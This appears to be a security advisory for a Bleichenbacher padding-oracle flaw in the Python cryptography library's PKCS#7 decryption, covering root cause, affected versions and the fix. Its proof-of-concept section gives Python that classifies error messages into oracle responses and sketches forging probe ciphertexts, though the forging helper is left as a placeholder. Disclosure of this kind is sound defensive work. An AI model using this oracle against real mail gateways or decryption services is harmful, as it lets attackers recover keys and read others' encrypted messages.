highCVE-2026-69247Aug 3, 2026

CVE-2026-69247: cryptography PKCS#7 EnvelopedData Bleichenbacher Oracle

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

The Python cryptography library's PKCS#7 decryption functions leaked distinguishable error messages and timing differences that let an attacker use any service decrypting S/MIME or CMS messages as an…

Packagecryptography
Ecosystempip
Affected>= 44.0.0, < 50.0.0
Fixed in50.0.0
CVE-2026-69247: cryptography PKCS#7 EnvelopedData Bleichenbacher Oracle

The problem

All three PKCS#7 decrypt functions (pkcs7_decrypt_der, pkcs7_decrypt_pem, pkcs7_decrypt_smime) produced four distinguishable outcomes after RSA PKCS#1 v1.5 decryption of the encryptedKey field: an RSA padding error, a key-length error that disclosed the recovered byte count, a CBC unpad error, and a clean plaintext.

An attacker who can submit crafted EnvelopedData blobs to a service that auto-decrypts them (an S/MIME gateway, mail filter, or similar) and observe which exception is raised gets a classical Bleichenbacher oracle. With enough adaptive queries they can recover the content-encryption key without the private key.

The flaw was introduced in 44.0.0 and is present through 49.x. On OpenSSL 3.2+ wheels the RSA path is partially mitigated by implicit rejection, but the key-length and CBC paths remain exploitable.

Proof of concept

A working proof-of-concept for CVE-2026-69247 in cryptography, with the exact payload below.

python
# Proof-of-concept oracle probe loop (derived from advisory error-path analysis)
# Requires: cryptography >= 44.0.0, < 50.0.0, victim cert+key, OpenSSL < 3.2 or non-wheel build
#
# The four distinguishable server responses act as oracle bits:
#   Case 1 - ValueError: "Decryption failed."          -> RSA padding invalid
#   Case 2 - ValueError: "Invalid key size (N) for AES." -> valid RSA pad, wrong length (N disclosed!)
#   Case 3 - ValueError: "Invalid padding bytes."       -> correct length, wrong CEK (CBC unpad fail)
#   Case 4 - success                                    -> correct CEK
#
# Attacker probes with a modified encryptedKey blob and classifies each response.

import os
from cryptography import x509
from cryptography.hazmat.primitives.serialization import pkcs7, load_pem_private_key
from cryptography.hazmat.primitives.serialization.pkcs7 import pkcs7_decrypt_der

def oracle(enveloped_der: bytes, cert, key) -> int:
    """Returns 1-4 matching the four advisory error cases."""
    try:
        pkcs7_decrypt_der(enveloped_der, cert, key, [])
        return 4  # success -> correct CEK
    except ValueError as e:
        msg = str(e)
        if "Decryption failed" in msg:
            return 1  # RSA padding invalid
        if "Invalid key size" in msg:
            return 2  # valid pad, bad length -> msg leaks N
        if "Invalid padding bytes" in msg:
            return 3  # correct length, wrong CEK
        raise

# --- Bleichenbacher iteration skeleton ---
# s = initial multiplier; c0 = intercepted ciphertext
# Each oracle(forge_enveloped(c0, s, victim_pub)) call narrows the interval
# for the PKCS#1-conformant plaintext until CEK is recovered.
# Full attack: ~2^20 queries for a 2048-bit RSA key.
def forge_enveloped(c0_bytes: bytes, s: int, n: int, e: int) -> bytes:
    """Wrap probe ciphertext (c0 * s^e mod n) into minimal DER EnvelopedData."""
    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
    from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15
    import math
    c0 = int.from_bytes(c0_bytes, 'big')
    probe = pow(s, e, n) * c0 % n
    probe_bytes = probe.to_bytes(math.ceil(n.bit_length() / 8), 'big')
    # Build bare-minimum DER EnvelopedData with probe_bytes as encryptedKey
    # (real exploit wraps in full ASN.1; omitted for brevity)
    return _build_enveloped_der(probe_bytes)  # placeholder

The root cause is the absence of an RFC 3218 'same-work, same-error' mitigation. Each pipeline stage (RSA unpad, AES key-size check, CBC unpad) raised a distinct exception, creating a multi-bit oracle rather than a single bit. Case 2 was especially severe: the error string "Invalid key size (N) for AES." embedded the actual byte count N recovered from the RSA operation, giving the attacker partial plaintext directly.

The fix pre-resolves the content-encryption algorithm before touching the private key, so the expected key length is known upfront. If RSA decryption fails or returns the wrong length, a random key of the correct length is silently substituted and decryption continues along an identical code path.

All four cases now produce the same exception text and consume the same CPU time, closing both the error and timing channels (CWE-208, CWE-209).

The fix

Upgrade to cryptography >= 50.0.0. The fix is in commit 53fccd93413a8d7f07d6d8999681f27b75cffa3f (PR #15369). If an immediate upgrade is not possible, wrap any call to the affected decrypt functions in a gateway that enforces a fixed-delay, uniform error response before reflecting any outcome to callers.

Reported by X1AOxiang.

References: [1][2][3][4]

Related research